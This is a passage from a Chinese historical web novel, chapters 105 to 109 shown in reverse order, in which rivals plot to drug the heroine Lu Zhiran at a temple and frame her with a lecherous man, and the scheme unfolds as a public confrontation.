只有将她贬得一无是处,才能向世人证明,她有多难能可贵。 楚翊安的拳头握得咯咯作响。 方氏一副痛心疾首的模样,“老爷,苒姐儿实在是太荒唐了!怎能在佛门之地做这种事?她将您的颜面,将陆家的颜面置于何地?” 方氏一向不喜欢陆知苒,陆贯轩平时睁一只眼闭一只眼也就算了,但现在是什么时候!他没想到这种情况下方氏竟也跟着给苒姐儿,给陆家抹黑! 他恼怒地剜了方氏一眼,“事情还没弄清楚,你也跟着胡说八道些什么!” 方氏又怎么不知道这一招有多险,稍不注意,就会带累她溪儿的名声。 但事已至此,她唯有摁死陆知苒,让她再也翻不了身! 否则一切都白做了! 方氏冷声道:“老爷,事实已经摆在了眼前,你还要继续自欺欺人到什么时候?你以为苒姐儿还是以前的她?她早就变了,行事越发乖张!” “头天,在这小院里,她一言不合就甩了溪儿一记耳光,连我这个母亲也半点不放在眼里,她能做出任何出格的举动来,都半点不奇怪。” 方氏当众揭短,陆知苒的名声被踩到了谷底。 陆贯轩气得额角青筋直跳,“你个蠢妇,有什么事不能回家关起门来说?在这里胡咧咧,你就不怕连累了溪儿的名声?” 方氏扬起声音,“真要论起来,溪儿与她也算不得真正的亲姐妹,她随了前头那位,生性浪荡,不知廉耻,我的溪儿可是安守本分,清清白白的好姑娘,大家都是明理之人,自然不会把她们混为一谈。” 她彻底撕下了伪善的面具,陆贯轩瞠目结舌,好半晌没能说出话来。 这个蠢妇,她,她真是反了天了。 楚翊安冷着脸,“不必多言,直接把门打开就是!有没有奸夫,大家有眼睛,能看得到。” 陆贯轩心头一紧,“不行!” 面对昔日岳丈,楚翊安半点情面都不留,“为何不行?莫不是陆大人也心虚,害怕了?” 陆贯轩气得跳脚,“若里面没有你们所谓的奸夫,你们这般贸然闯进去,岂不是平白坏了我女儿的名声?她可是皇上亲封的县主,你们开罪得起吗?” 他搬出了县主的名头,便是想借势压一压他们,叫他们有所忌惮。 只要把这一关糊弄过去,旁的事日后再说。 但这本就是专为陆知苒设好的陷阱,赵书宁又岂会这般轻巧揭过? “陆大人所言在理,不妨这样,我们先敲门,让平乐县主穿戴整齐之后主动开门,如此就不存在陆大人担心之事了。” 陆贯轩还想阻拦,但却找不到理由。 楚云清比谁都积极,第一个冲上去,扬起手就“砰砰”砸门。 “开门,快开门!” 屋子里传来一阵窸窣的响动,却无人回应。 楚云清拍得手都疼了,房门依旧闭得紧紧的。 楚翊安的怒意达到了顶峰。 “砸门!” 他倒要看看,能让陆知苒在佛门之地都敢偷腥的男人,究竟是何许人也! 赵书宁早有准备,她带来的侯府的两个粗壮婆子直接走过来,把门撞开。 门刚一开,就有一个男子用袖子遮着脸走了出来。 这男子一出现,立马引得众人一阵哗然。 方氏眼底闪过得逞的快意,“果然有其母就有其女,两母女都是不安分的狐媚子!” 陆贯轩大骂,“你闭嘴,少说两句!” 方氏不说话了,但楚云清可不会藏着掖着。 “我就说她的屋子里藏了男人吧!我不可能听错!” 姜氏满脸嫌恶,高声大骂,“陆知苒这个荡妇,在佛门之地都敢如此浪荡,简直是不知廉耻!她这样的人,就该押去沉塘!” 楚云清:“奸夫也该一起沉塘!” 那奸夫遮着脸,压着声音,“姑母,表妹,是,是我啊!你们快别喊了。” 姜氏和楚云清的神情顿住。 这声音…… 还来不及反应,楚翊安就像一头暴怒的狮子,冲上来直接把那畏畏缩缩的男人一把掀翻在地。 男人被掀翻在地,痛得哎哟叫唤,那张脸也彻底暴露在人前。 楚翊安满腔的暴怒瞬间凝固成了五雷轰顶的震惊。 这人,楚翊安简直再熟悉不过。 这不正是他那猥琐好色的表哥吗? “姜!星!熠!怎么是你!” 姜星熠是姜家唯一的嫡子,整日寻花问柳,小妾一个接一个地往家里纳。 前头的妻子接连死了两个,这几年姜家一直在给他重新张罗续弦。 但他的名声已经烂透了,京中但凡有头有脸的人家,都不可能把女儿嫁给他。 赵书宁千挑万选,才选中了姜星熠这个绝佳人选。 这也是让方氏愿意放手一搏的关键! 姜星熠的品行有多低劣,陆知苒今后的日子就会有多凄惨。 第109章 捉奸 不知怎么回事,今夜楚云清特别清醒,半点睡意都没有,守夜的丫鬟秋月在一旁直打瞌睡,她在床上翻来覆去许久都睡不着。 心头火大,她直接把秋月骂醒了。 “睡睡睡,就知道睡!” 她睡不着,别人也休想睡! 秋月被训得低下了头,不敢吭声。 楚云清忽而蹙眉,“你有没有听到外头有什么动静?” 秋月困得直打瞌睡,脑子都是懵的,反应慢了好几拍。 “没有啊,小姐是不是听错了?” 楚云清竖起耳朵又认真听了一会儿,确定自己的确听到了些声音。 而且,好像是男人的声音! 楚云清连忙下床,靠在门边认真听了片刻,她越发笃定。 有人竟胆大包天,在佛门之地与男人私会! 究竟是谁? 这院子里,除了她们家,就只住了陆家人,而声音是从陆家那边传来的。 楚云清瞬间激动起来,立马穿好衣裳,打算亲自去看看是怎么一回事。 出了屋,肆虐寒风扑面而来,也将男女的呻吟传了过来,楚云清听得不禁红了脸。 顺着声源摸索,楚云清终于确定了,是陆知苒的房间! 本想一脚将房门踹开,将这对狗男女抓个现行,但又硬生生地忍住了。 她立马吩咐秋月,“快,去把兄长唤来!别压着,动静闹得越大越好!” 定要让大家伙儿都来好好看看,陆知苒是如何不知廉耻,在佛门圣地行这苟且之事! 赵书宁一直没睡。 她的房门开着一条缝,将外头的一切尽收眼底。 当看到楚云清兴奋地吩咐丫鬟去喊人时,她唇角高高翘起,心情前所未有的愉悦。 陆知苒,真是可惜了你这样的对手呢。 从今以后,你再不配出现在我面前了。 今夜,楚翊安也失眠了。 陆知苒那冰冷刻薄的嘴脸一直在他脑中回放,搅得他胸中怒火焚烧,全无睡意。 到了后半夜,总算迷迷糊糊睡了过去,却猛地被一阵敲门声吵醒。 “大少爷,大少爷,您醒醒,咱们那院子出事了,您快去看看吧!” 楚翊安猛地从床上坐起来,混沌的睡意一扫而空。 披衣下床,打开房门,看到是秋月,他心头微紧。 “怎么了?清儿出什么事了?” 秋月摇头,“不是大小姐,是,是平乐县主,她,她……大少爷,您还是自己亲自去看看吧,奴婢实在难以启齿!” 又是陆知苒! 刚刚才把她从自己的脑子里赶出去,她又闹出了幺蛾子。 他沉着脸抬步走了出去。 陆贯轩也被吵醒了。 秋月通禀时,故意抬高声音强调“平乐县主”,陆贯轩一个激灵清醒了。 这回又出了什么事?该不会又是哪个喊冤的百姓来闹事,讨要说法吧! 可就算要闹事,也不该选在大晚上的时候啊。 带着这样的想法,陆贯轩匆匆穿衣,也赶紧往那边赶。 同院的其他香客也都听到了动静,心中好奇,便派了下人悄悄跟上,想要打探一二。 楚翊安身高腿长,不多时就赶到了小院。 而此时,姜氏和赵书宁的房间已经亮起了灯,陆知苒的厢房静悄悄的,没有半点动静。 楚翊安压着火气。 “怎么回事?” 楚云清正要开口,姜氏拦住她,这话由她一个未出阁的姑娘家说不合适。 姜氏指着陆知苒的房间,声音不掩嫌恶,又带着一丝潜藏的快意。 “你可知陆知苒在房间里干了什么?她竟私藏了男人,在佛门之地行苟且之事!如此荡妇行径,实在是令人不齿!” 姜氏的一字一句像重锤狠狠砸在楚翊安心头,砸得他五内俱焚,目眦欲裂。 她,竟做出这般不知廉耻之事? 她就这般按捺不住? 自己不在的这三年,她是不是压根没闲过? 随后赶到的陆贯轩也听了个全乎,脚下一个趔趄,险些摔倒在地。 顾不上其他,他立马冲上去辩解,“这怎么可能?你亲眼看到了吗?简直是血口喷人!” 他必须维护陆知苒的名声,不然此事传出去,他们陆家的女儿都别想嫁个好人家,他在外人面前也抬不起头来。 楚云清再也按捺不住,高声开口,“我们都听到了,里面的声音简直不堪入耳!” 赵书宁也点头,“我也听到了,里面,的确有男人,他们闹出的动静不小。” 楚翊安和陆贯轩的脸色如出一辙的难看。 分明两人已经和离,但楚翊安听到这样的消息,依旧有种遭到背叛的愤怒。 陆贯轩则是下意识的命人去关院门。 “此事我们私下解决……” 楚云清哪里肯依,“她敢做,还怕别人知道?谁都不许关院门,今日我非得把她的真面目彻底揭开不可!” 她一边说,一边跑去院门口张望。 楚云清让秋月去通禀时,故意高声引人注意,爱八卦的人不少,尤其这可是近日在圣上面前炙手可热的县主的八卦。 谁知她跑到门口时,却傻了眼,外面竟一个人也没有。 方氏扫了一眼赵书宁,心中冷笑。 在漱芳斋之时,赵书宁给了溪儿一瓶药。 那是赵书宁亲手调配的烈性春.药,只要放在陆知苒的熏香里,不出一刻钟,就能让她意乱神迷,丑态毕现。 溪儿负责下药,而赵书宁,会替陆知苒准备好人选。 事情揭发,陆知苒除了下嫁,别无他路可选。 陆知苒嫁给那人,后半辈子都别想好过! 而楚云清,显然是赵书宁安排好的揭发此事的最佳人选。 整个过程,方氏知道得很清楚。 溪儿虽然说赵书宁承诺此事会关起门来解决,不会带累她的名声,也好叫陆知苒吃个哑巴亏。 但她又怎么可能完全相信一个外人! 此刻看赵书宁惊讶的目光,方氏知道自己猜对了。 赵书宁根本就言而无信,只顾自己达到目的,丝毫不顾溪儿的名声。 幸好,她早早就有了安排,派人守住了这附近。 环顾一圈,不见陆映溪露面,方氏略松了口气。 如此腌臜的场面,她避开是对的。 第108章 好大一口黑锅 楚翊安不信佛,本不欲来,但赵书宁一再相劝,他便答应了。 在卫所当值了一整日,他拖着疲倦的身子,骑马往慈光寺而来。 好在卫所与慈光寺距离不远,他赶到时,夕阳尚有一丝余晖。 虔诚地给佛祖上了香,祈求佛主保佑他度过低谷,仕途重回正轨,保佑楚家家道中兴,门庭昌盛兴隆。 到了用饭的斋房,本以为能歇一歇,好好吃顿斋饭,可迎接他的,却是又一场无止境的谩骂。 近些日子,府中日日都可以听到这些话。 不仅楚云清会谩骂,姜氏也会。 赵书宁也来得晚,错过了那场好戏。 不过,并不影响她添油加醋。 “翊安,她这是还记恨着侯府,记恨着你呢。但凡她有半分顾及你的颜面,便不会公然贬低侯府,为难母亲与清儿。” 楚翊安面容冷沉,眸底瞬间笼上一层阴霾。 随便吃了些斋饭,他便起身离开。 最后一丝余晖也落下,寺庙各处都亮起了灯,大殿有高僧诵经,袅袅梵音入耳,总算让他心头烦躁稍稍平复几分。 整理好了心情,楚翊安折身往回走。 行至厢房附近,余光瞥见一道有些熟悉的鬼祟人影。 此处的厢房,男客与女客是分开的,那男人在女客所住的厢房外探头探脑,颇为可疑。 正待细看,那道人影一闪而过,迅速消失了。 楚翊安上前查看,刚好走到小院门口,有人走了出来,双方恰好碰了个正着。 翠芙和丹烟提着灯笼照明,陆知苒低头看着脚下,一抬眸,便对上了一双幽深的眼眸。 今夜,她要去给母亲点长明灯。 山上夜里凉,她披着一件狐裘披风,雪白的绒毛似一圈围脖,衬得她的小脸只有巴掌大小,在灯光映照下,如玉般莹润透亮。 楚翊安猛地想起,自己在西平之时,她曾给自己送过一条上好的狐裘围脖,毛发柔软,没有一丝杂质,价格不菲,可见准备之人是用了心的。 只是,他把那围脖转赠给了书宁…… 彼时,她待自己是否尚存几分真心? “好狗不挡道。” 清清冷冷的声音,将楚翊安的思绪拉了回来。 他站在小院门口,挡住了去路。 对上陆知苒那冷若冰霜的眼眸,满腔的遐思瞬间打回原形,他的眸底也笼上寒意。 “县主今日可真是好威风,看谁不顺眼就大打出手,自己亲妹妹也不放过。” 陆知苒轻描淡写,“现在不会了,因为我怕脏了自己的手。” 一股怒意直冲脑顶,楚翊安面容微微扭曲。 “你可知你现在的嘴脸有多刻薄?” 陆知苒淡淡一笑,“刻薄好啊,我刻薄了,旁人就休想占到我半分便宜,还得对我客客气气的,何乐不为?” 正所谓放下个人素质,享受缺德人生,拒绝精神内耗,有事直接发疯,与其委屈自己,不如为难别人。 上辈子她若能及早领悟这一点,就不会落得那么凄惨的下场。 楚翊安越发恼怒,“需知风水轮流转,你真以为自己能一直得意下去吗?” “那就不劳楚大人操心了。至少现在,风水转到了我身上,我有得意的资本。楚大人,你有吗?你现在这般恼怒,该不会是因为嫉妒吧?” 楚翊安似被戳中痛处,激动反驳,“你联合外人,背刺夫家,如此人品败坏,我岂会嫉妒你?” 陆知苒眸色瞬间沉了下去。 “可真是好大一口黑锅!” “你休要狡辩,你若心向侯府,又怎会连太仓商行那么大的事情都瞒得死死的!你连七皇子都如实相告,却对我这个夫君守口如瓶,你分明早有异心!” “你如此背信弃义,又有什么资格指责我娶平妻?分明是你有错在先,经你这番精心布局,我成了抛弃糟糠的陈世美,你倒是成了无辜的受害者,你当真好谋算!” 这话一直憋在楚翊安心头,今日,他总算找到机会说了出来。 他死死盯着陆知苒,眸底淬满了冰冷与怨毒。 听了他这话,陆知苒生不起半点诧异。 那一家子人秉性便是如此,能怪别人的,从不会在自己身上找原因。 陆知苒似笑非笑地看着对方,“我为何隐瞒此事,你难道真的不清楚吗?” 楚翊安冷声,“你这话是什么意思?” “令慈精于算计,连你和赵书宁的喜宴都想从我身上刮油水,真真是铁公鸡,一毛不拔。知道了我有功劳在身,说不定,还会让我为侯府求一道延续爵位的旨意呢。” “令妹也不遑多让,敢假借我的名义定下头面,又妄图以名声要挟我吃下这个哑巴亏,给她把头面买下来。若她得知我的家底,岂有不开口讨要的道理?一开始或许只是头面,后面可能就是银子,铺子。有这样一个婆母和小姑子,我不得防着点?” 陆知苒这话直白又刻薄,半点情面都不留。 楚翊安又羞又恼,一张脸都涨红了。 他知道,陆知苒所说是事实,他的母亲和妹妹是怎样的人,他心里最清楚不过,她们的确做得出这样的事。 但他不愿承认,承认了,就相当于把脸伸到她面前让她打! “你小人之心,你以为人人都稀罕你那几个臭钱?” “这话你信吗?” 陆知苒嘲讽地看着他,那眼神,叫楚翊安面皮发紧。 “这套自欺欺人的话,你还是留给自己听吧。劳烦让让!” 二人的争执,已然引来了旁边厢房客人的注意,楚翊安脸色几番青白交错,终于慢慢挪开了身子,让出路来。 陆知苒抬步离开,没有再分给他半点多余的眼神。 楚翊安在原地僵立许久,袖中拳头握得咯咯作响。 不欲惹人笑话,他这才转身回了自己的厢房。 早知会在此地遇到陆知苒,他就不该来! 夜色蔓延,寺中只余廊下照明的灯笼,周遭陷入一片静谧。 众人都陷入了梦乡。 谁也没看到,一道鬼祟人影悄悄潜入某处小院,在几间厢房门前探查一番,轻轻推开了其中一间,又轻手轻脚地将房门关上。 第107章 因为你该打 虔诚诵读完往生经,陆知苒便回了自己的厢房小憩。 说来也巧,她们的隔壁,刚好是老熟人。 楚云清正扶着姜氏走到门口,身后还跟了一个年轻男子。 那年轻男子长得倒是样貌堂堂,但一身打扮油头粉面,眼底发黑,整个人都透着股被酒色掏空的虚浮。 他便是姜氏的侄子,姜星熠。 姜星熠生得人模狗样,但却不是个东西。 楚翊安出征在外的那三年,姜星熠频繁往侯府跑,甚至大胆到直接在侯府对陆知苒欲行不轨。 若非她奋力反抗,踢了他一脚,只怕就要被他得逞了。 姜星熠显然是随着姜氏来寺庙礼佛的,手上替二人拿着包裹。 陆知苒眼神一暗,恍若未见,抬步就要回厢房。 楚云清对陆知苒的感情十分复杂,既希望她还是自己的嫂嫂,像从前那样对她掏心掏肺,她就可以有花不完的金银,但上次陆知苒拒绝给她支付头面的银子,又让她无比嫉恨! 再见到陆知苒,没想到她是这番目中无人的态度,无名火顿时蹭地往上蹿。 “你站住!” 陆知苒没理,径直回了厢房。 “娘,你看她!简直是目中无人!” 姜氏咬牙切齿,“一朝得势便如此张狂,我就等着她栽跟头那一日!” 姜星熠眼珠子滴溜溜一转,面上露出几分油腻的笑。 “姑母,表妹,你们消消气。别看她现在这么张扬,日后嫁了人,保管被调教得老老实实的。” 这话让姜氏心头一梗,“以前在侯府也没见她多老实!” “那是安哥儿出征在外,没有好好管教。日后定有人替你们好好调教她。” 楚云清冷哼,“她一个二嫁之身,哪个男人敢要她?” 姜星熠嘿嘿笑了两声,没有搭话,只是眼珠子一直往那间厢房瞟,眸底露出几分贪婪与垂涎。 回到厢房,陆知苒并未休息,而是拿出了佛经,静下心,认真抄写。 这辈子,她这双手,注定要沾满鲜血。 她不后悔,只是内心也会有种寻不到根的漂浮彷徨。 母亲生前,便喜欢读佛经,她原本不解其意,自己真正读起时,才明白佛理的博大精深。 “观自在菩萨,行深般若波罗密多时。照见五蕴皆空,度一切苦厄。舍利子,色不异空,空不异色……” 她抄得入了定,笔下字迹越发流畅潇洒,原本浮躁的心神也慢慢平静下来。 翠芙和丹烟轻手轻脚地收拾东西,不敢弄出半点声响。 偏这时,外头传来了吵嚷声。 方氏母女回来了。 楚云清好一番添油加醋,把方才之事学舌了一番。 末了冷哼一声,“一个小小的县主就敢如此目中无人,不知道的,还以为她是公主呢!陆夫人,你可要好好管教一番,不然就她这番德行,迟早要给陆家招祸!” 房门吱呀一声打开,陆知苒站在那里,目光落在楚云清身上,带着一股摄人的冷意。 楚云清莫名一哆嗦,却还是梗着脖子强撑。 “你这么看着我做什么?我又没有说错,你只是个小小县主罢了,有什么好得意的?” 陆知苒嗤笑一声,“我的确只是个小小县主,那你是什么?哦,你是袭爵马上要到头的破落侯府的破落小姐,真是失敬了。” 一句话让楚云清脸色青白交错,难堪极了。 姜氏也气得心梗,“你你你……” 方氏疾步上前,“苒姐儿,你这是做什么?就算你已经与侯府和离,但以前的情分也还在,何必这般咄咄逼人?被人瞧见了,怕是要说你行事跋扈,眼里容不得人。” 陆知苒根本不买账,“嘴巴长在别人身上,别人想怎么说,我如何管得着?母亲你说是不是?” 方氏:…… 陆映溪开口,“姐姐,这里是佛门圣地,得饶人处且饶人吧。你今日给夫人供了长生牌位,却又在佛门之地寻衅生事,岂非诚心不足?佛祖知晓了,只怕也会怪罪夫人。” 陆知苒扫向她,眼底寒芒毕露,扬手就甩了陆映溪一记耳光。 “啪!”一记脆响,把陆映溪打蒙了,方氏大惊,声音都变了调。 “你怎么能打人?” “妹妹既然说我寻衅生事,我便叫她看看,何为寻衅生事。” 陆映溪捂着脸,眸底蓄满泪,更藏着一抹深深的怨毒。 “姐姐,你我到底是亲姐妹,你何至于对我这般手下不留情?” “我对你手下不留情,是因为你该打。你千不该万不该,不该提到我娘亲。我娘亲生前与人为善,从没害过一个人,反而救济过很多普通百姓,她的功德,是你们所有人都不能比的。我做的事,佛主便是要怪罪,也怪不到娘亲头上。你敢这般诅咒她,打你,也是你该受的。” 陆知苒声色俱厉,陆映溪的脸色青白交错,难看至极,胸中更有一股怒火与恨意熊熊燃烧。 方氏气得胸口上下起伏,“苒姐儿,溪儿不过是一时失言罢了,你怎能一言不合就动手?你未免太过嚣张跋扈了些!” 陆知苒嗤笑一声,“若妹妹是一时失言,那我也是一时失手,还请母亲多见谅。” “你……” 陆知苒冷冷看着她们,“娘亲是我的逆鳞,谁敢对她不敬,就休怪我不客气!” 方氏被她冷厉的目光看得心头一怵,手心不禁冒出冷汗。 为何,她在陆知苒的眼底看到了杀意? 她该不会是知道自己对洛氏做的事了吧? 不,不可能,当时她才多大点,怎么可能知道那些?一定是自己想多了。 不欲浪费口舌,陆知苒转身进了屋,只留给众人一个背影。 楚云清在陆知苒那里受了气,便全都撒在陆映溪身上,“被打了都不敢还手,真丢人。” 陆映溪的面容再度扭曲。 姜氏也阴阳怪气地道:“陆夫人,不是我说你,身为嫡母,合该有嫡母的派头,被一个继女压着,委实不像话。” 奚落完,她们便转身进了厢房,“砰”的一声巨响,那扇门仿若狠狠扇在方氏母女的脸上。 方氏气得脸都绿了。 陆映溪更是羞辱又气愤,泪花在眼眶里打转。 “娘,陆知苒实在是太欺负人了!” 方氏心里恨极了,却不得不安慰她。 “溪儿受委屈了,很快,咱们就能把这口恶气狠狠出掉。” 陆映溪想到她们的计划,深吸一口气,这才压下了心头恨意。 “您说得对!” 陆知苒现在倒是能耍威风,殊不知,日后这一切都会原原本本报应到她自己的身上。 今晚,就等着看好戏吧。 第106章 佛诞日 陆知苒神色从容,“就算她们猜到了,也没有证据,父亲不会信。” 陆知苒不在乎方氏母女怎么想,就算没有这件事,她们母女照样视自己为眼中钉,再多这一桩,也无所谓。 她了解自己的父亲,没有绝对的证据,他不会相信方氏母女的话,反而会认为她们是在挑拨离间。 翠芙依旧忧心忡忡,“她们到底在密谋些什么?什么保媒?奴婢怎么听不明白?” 丹烟毫不客气地怒骂,“定然没憋什么好屁!” 陆知苒沉吟片刻,“先回去。” 陆映溪回府之后,定会第一时间与方氏商议此事。 方氏的知春苑可不是铁桶一块。 当晚,子时过半,全府上下一片寂静时,一道纤细的身影从知春苑悄无声息地离开,来到了陆知苒的瑶光阁。 …… 正月二十,乃本朝佛诞日。 本朝尚佛,每年的今日,各大寺庙都会香客云集,十分热闹,许多人家还会在寺中住上几日,潜心礼佛。 许是亏心事做多了,陆贯轩十分信佛,每年的佛诞日他都会带着妻女到寺庙小住一两日,捐一笔丰厚的香油钱,表达虔诚。 今年,本以为自己仕途平顺,他早早就在香火最旺的慈光寺预定了厢房,向佛主还愿。 不曾想,最后却是竹篮打水一场空,什么都没捞着,今年的佛诞日,他便兴致缺缺,不大想去。 陆映溪有些急,她们已是万事俱备,父亲岂能不去? “父亲,您先前那么多年都去了,独独今年缺席,岂不是让佛主怪罪?” 又急忙给方氏使眼色。 方氏眸底却仍带几分疑虑。 溪儿那日回来便将赵书宁找她谈的事情都说了。 她早先便怀疑方家之事是陆知苒做的,只是苦于没有凭证罢了。 而今,李贵妃查证了此事果然是陆知苒那个小贱人搞的鬼。 但刚刚跌了大跟头,方氏不想轻举妄动的。 尤其,赵书宁心机深沉,不得不防,不然被对方当枪使了都未可知。 陆映溪见方氏没开口,急得伸手拉她。 方氏心头仍有疑虑,但到底恨意占据了上风,加之溪儿已然答应了此事,自己若不同意,任由她胡来反倒容易出岔子。 一番权衡,她便也跟着开口劝了起来。 “溪儿所言也的确在理,拜佛之事,讲究心诚,老爷每年都诚心礼佛,佛主自然都看眼里。” 陆贯轩最近并不待见她们母女,这番不痛不痒的劝说并未能让他改变主意。 这时,陆知苒悠悠开口,“父亲,您眼下仕途不顺,或许是小人作祟也未可知,合该到佛主面前多上几炷香,以求佛主庇佑,铲除小人,让您否极泰来,仕途重新回归正轨。” 同样的话,从不同人的嘴里说出来,效果完全不一样。 陆知苒一劝,陆贯轩就点头答应了。 方氏母女见此,心中再次恨得牙痒痒。 “娘亲,您瞧见了没?她一回来就叫我们在家中的地位一落千丈。若我们再不动手,日后,这府里就没有我们的立锥之地了!” 方氏眼底一片阴沉,“此事不动手便罢了,要动手,就必须一击即中。” 陆映溪信心满满,“我们的计划天衣无缝,她插翅也难逃。” 方氏咬牙点头,到时,她亲自把关此事,定不会出岔子。 阴狠的目光落在陆知苒离去的背影上。 她似有所觉,忽而转身朝她们看来。 眸光碰撞,陆知苒勾唇,露出一抹,意味深长的笑。 方氏面容一僵,心里蓦的升起一股不安。 怎么这小贱人刚好也劝老爷佛诞日去寺庙里礼佛?难道…… 不可能! 她虽然有通天本领,却也只是刚回陆家不久而已,又怎可能从铁桶一般的陆家里打听到她们的秘密。 不过是挑衅和示威而已! 小贱人,且让你再风光几日,待佛诞日之后,看你还怎么得意起来! 转眼到了佛诞日,方氏安排好了车马行李,一家子早早往慈光寺而去。 不少人与他们一样早起,往城外各大寺庙而去。 萧宝珠便是其中之一。 孙皇后不便出宫,每一年,她都会代替对方,去寺庙里为大皇兄点长明灯,今年也不例外。 只是,以往都有阿笙和七皇兄作陪,今年阿笙去了西平,七皇兄也在收容所忙碌,多半是来不了了。 萧宝珠在摇摇晃晃的马车里昏昏欲睡,脑袋一点一点,如小鸡啄米般。 忽而听得马车外传来一阵喧哗,萧宝珠揉了揉眼睛。 “那么快就到了吗?” 奶娘秦嬷嬷笑道:“还早呢,这是路过城外收容所了。” 萧宝珠闻言,一下来了精神。 她对收容所如雷贯耳,却从未来过,不知究竟是何模样。 掀起帘子往外看,待见到外头的场景,原本混沌的脑子瞬间清醒了。 整齐的屋舍,袅袅的炊烟,忙碌的村民,还有在屋前嬉戏玩闹的孩童,处处透着鲜活的气息。 难以想象,一个多月以前,这里还是一片不毛之地。 另外一处空旷之地上,还有人在搬运木材,搭建屋舍。 大冷的天,他们只穿着一身单衣,干得热火朝天。 萧宝珠的目光一直追随着那里,久久没有收回来。 这就是陆知苒牵头搭建的收容所。 这里收容了上万的灾民,为朝廷化解了一次重大危机,它所承载的功德,重得难以想象。 她真厉害。 如果,自己能有她一半的本事和魄力,母后定然会对自己多一点喜欢吧。 放下了帘子,她没了睡意,满脑子都是一些乱七八糟的念头。 方氏母女也瞧见了那规模浩大的收容所,她们心中都受到了震撼,嘴上却不肯服输,偏要说些酸话,最后她们自己也觉无趣,讪讪闭了嘴。 马车行了小半个时辰,终于到了慈光寺脚下。 慈光寺深处半山腰,香客需得拾级而上,方能上香。 大家都疏于锻炼,爬到山上,已是累得气喘吁吁。 陆知苒捐了一大笔香油钱,为母亲重新立了长生牌,又在佛主前虔诚跪拜。 今夜,她怕是要在佛主面前做些不光彩之事,只盼佛主莫要怪罪,娘亲莫要对她失望。 第105章 借刀杀人 陆知苒闻言,“噗嗤”一声笑出声来。 回想上次兄妹二人吃饭的情形,的确是一个比一个有干劲。 “你跟阿笙一样,都斯斯文文的,你们才是真正的大家闺秀。” 她这话说得顺嘴,说完之后才意识到什么,赶紧找补。 “我的意思是,你是大家闺秀,阿笙是谦谦君子,不像我七皇兄,他就是个莽夫。” 陆知苒假装没听到她的口误,很公正地替萧晏辞说话。 “瑾王只是行事粗犷豪放,不拘小节罢了。” “那不就是莽夫。” 陆知苒:…… 行吧,她说是就是。 转而又问起了蒋南笙的情况,萧宝珠立马担心起来,“阿笙还没有给我送信,我不知道她那边的情况。不过张垚那边,七皇兄已经做了安排。我七皇兄虽然是个莽夫,但办事还是很可靠的。” 远在收容所的萧晏辞,接连打了好几个喷嚏,他还以为自己是受凉了,殊不知,是他的好妹妹在背地里蛐蛐他。 酣畅淋漓地吃了一顿好的,萧宝珠觉得自己的心情彻底好转了。 果然,没有什么是美食解决不了的。 如果一顿不行,那就来两顿。 二人相携离开,陆知苒余光一撇,瞧见一道熟悉的身影,进了月影阁。 是赵书宁。 她的眸光微动,并未声张,若无其事地出了漱芳斋。 与萧宝珠道别之后,陆知苒这才转头吩咐翠芙,“去问问,月影阁是谁定下的,都有谁在。” 漱芳斋是她的产业,要打听到这一点,并不难。 赵书宁不会安分,她每一个看似寻常的动作,背后或许都隐藏着见不得人的阴谋。 或许是她多疑了,但宁可多心,也不可姑息大意。 不多时翠芙就带回了一个令人意外的消息,“小姐,您一定想不到,月影阁是二小姐定下的,赵书宁也在!二小姐刻意乔装打扮,还蒙了面纱,遮遮掩掩的,但掌柜认识她,也认识她身边的彩蝶。” 陆知苒听罢,眸色微深了几分。 “小姐,奴婢自作主张,让人悄悄听一听她们的谈话。” 陆知苒没有责怪之意。 那两位,都是恨她入骨之人,她们凑到一处,可不会单纯地吃饭聊天。 她们的确不是单纯的吃饭聊天。 这一局,是赵书宁发出的邀约。 陆映溪收到邀约时,很狐疑,也很警惕,但最终还是来了。 只因对方抛出了一个让她无法拒绝的诱饵。 “你想不想知道,方家之事背后,是何人所为?” 这段时日,陆映溪的日子过得并不好,原本丰盈的脸颊肉眼可见地消瘦,眼底也浮起一抹淡淡青黑。 较之以往,她也少了从容镇定,整个人显得浮躁许多。 赵书宁一出现,她就立马开口追问,“你派人给我传的那话是什么意思?你知道是何人在背后害方家?” 赵书宁不紧不慢地坐下,“陆二小姐先别急,咱们坐下来慢慢说。” 陆映溪满脸急躁,“有话就直说,我不想听你故弄玄虚。” 赵书宁也不恼,她凑近了几分,幽幽开口,“陆二小姐且想想,这件事,谁最可能知道内情?谁最恨你们,最恨方家?谁又最有本事做到这一切?能满足这些条件的人,可不多。” 这充满诱导性的话,让陆映溪不受控制地想到了一个人。 “陆知苒!是她对不对?” 赵书宁露出一抹意味深长的笑,既不承认,也不否认。 她不会告诉陆映溪,她也不知道此事究竟是不是陆知苒所为。 不管是不是她,这口黑锅她都背定了。 要对付陆知苒,还有什么比借刀杀人更稳妥的手段? 只要陆映溪母女相信了她的话,就不会放过陆知苒。 陆映溪脑中思绪转了几圈之后,赵书宁这才缓缓开口,“陆二小姐果然聪慧过人。” 陆映溪心中恨极了,但在赵书宁面前,她依旧满是戒备。 “你有什么证据?” 赵书宁摊了摊手,“我没有证据,陆知苒行事狡猾,岂会留下把柄?” 陆映溪当即冷了脸,“空口白话,你就想让我信了你?你怕是把我当傻子,想让我给你当枪使吧!” “我的确没有证据,但此事,却是李贵妃亲口告知,岂会有假?李贵妃还会平白冤枉谁不成?” 赵书宁信誓旦旦,陆映溪怔住。 “李贵妃在调查陆家?” 赵书宁意味深长,“不是陆家,而是陆知苒。有些人自以为鸡犬升天,殊不知,风光只是一时的,她早就挡了贵人的道了。” 陆映溪心头一震。 她便知道,陆知苒太过招摇,早就惹人恨了。 真以为立了一点功劳就能为所欲为?贵人们动动手指头就能捏死她! 赵书宁单刀直入,“我想与陆二小姐合作,除掉我们共同的敌人,不知陆二小姐敢不敢?” 陆映溪不相信对方那么好心地告诉她这些,更不想被牵着鼻子走。 “我为什么要与你合作?谁知道你在打什么算盘。” 赵书宁看出她的戒备,幽幽叹息,“我可是一心为了陆二小姐着想。继续任由她胡闹下去,只怕陆家也会被她牵连。” 陆映溪心头一顿,是了,她已经惹了李贵妃不快,若李贵妃因此迁怒陆家,自己也别想有好日子过。 “你们母女现在在陆家的日子,应当不好过吧。” 陆映溪被戳中痛处,面容微微扭曲几分。 赵书宁循循善诱,“这一切都是因为陆知苒,你难道不想报仇吗?” 当然想! “陆二小姐,你实在不必对我这般戒备,我比任何人都恨陆知苒,你我也没有利益纠葛,我不会害你。” 陆映溪咬咬牙,终于下定决心,“怎么合作?” 赵书宁露出满意一笑。 她便知道,自己此行定然不会空手而归。 赵书宁离开没多久,陆知苒就收到了掌柜送来的回信。 她们交谈声音太低,听不真切,只隐约听到了“方家”“保媒”的字眼。 